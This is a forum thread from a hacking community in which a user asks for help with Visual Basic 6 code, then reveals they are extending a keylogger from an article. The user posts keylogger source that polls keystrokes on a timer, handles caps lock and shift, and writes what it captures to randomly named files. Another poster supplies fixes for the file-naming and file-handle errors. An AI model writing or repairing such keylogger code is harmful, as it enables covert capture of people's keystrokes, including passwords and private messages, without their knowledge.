Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.
(vb6) what is wrong with this code?
Hi, what is wrong with this code… I just dont get it…
Text2.Text = ""
Randomize
Text1.Text = ""
Dim random_filename As Integer
random_filename_part1 = "wiston"
random_filename_part2 = Int(Rnd() * 2)
random_filename_part3 = ".mnm"
Text2.Text = random_filename_part1 + random_filename_part2 + random_filename_part3
Open Text2.Text For Output As #save
End Sub```
please help
Randomize whats this?
random_filename_part1 = "wiston" random_filename_part2 = Int(Rnd() * 2) random_filename_part3 = ".mnm" Text2.Text = random_filename_part1 + random_filename_part2 + random_filename_part3
urrgh
random_filename = "wiston" & int(rnd() * 2) & ".mnm" Text2.Text = random_filename
Open Text2.Text For Output As #save
This is wrong coz you havnt defined #save as a free file location.
thats about it.
Ok i tried it and got a runtime error '13' type mismatch. Here is my full code - Im trying to expand on a keylogger on an article.
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Sub List1_Click()
End Sub
Private Sub Form_Load()
Text2.Text = ""
Randomize
Text1.Text = ""
Dim random_filename As Integer
random_filename = "wiston" & Int(Rnd() * 2) & ".mnm"
Text2.Text = random_filename
Open Text2.Text For Output As #save
End Sub
Private Sub Timer1_Timer()
Dim i As Integer
Dim KeyPressed As String
Const Pressed = -32767
For i = 65 To 90
If GetAsyncKeyState(i) = Pressed Then
If GetCapsLock() = True Then
If GetShift() = True Then KeyPressed = LCase(Chr(i)) Else KeyPressed = UCase(Chr(i))
Else
If GetShift() = True Then KeyPressed = UCase(Chr(i)) Else KeyPressed = LCase(Chr(i))
End If
GoTo KeyFound
End If
Next i
Exit Sub
KeyFound:
Text1.Text = Text1.Text + KeyPressed + " "
End Sub
Private Function GetCapsLock() As Boolean
GetCapsLock = CBool(GetKeyState(20))
End Function
Private Function GetShift() As Boolean
GetShift = CBool(GetAsyncKeyState(16))
End Function
Private Sub Timer2_Timer()
Write #save, Text1.Text
Close #1
Text2.Text = ""
Randomize
Text1.Text = ""
Dim random_filename As Integer
random_filename_part1 = "wiston"
random_filename_part2 = Int(Rnd() * 999)
random_filename_part3 = ".mnm"
random_filename_complete = random_filename_part1 + random_filename_part2 + random_filename_part3
Text2.Text = random_filename_complete
Open Text2.Text For Output As #save
End Sub
Private Sub Form_Load() Text2.Text = "" Randomize Text1.Text = "" Dim random_filename As String random_filename = "wiston" & Int(Rnd() * 2) & ".mnm" Text2.Text = random_filename Open Text2.Text For Output As #1 End Sub
That should do it ;)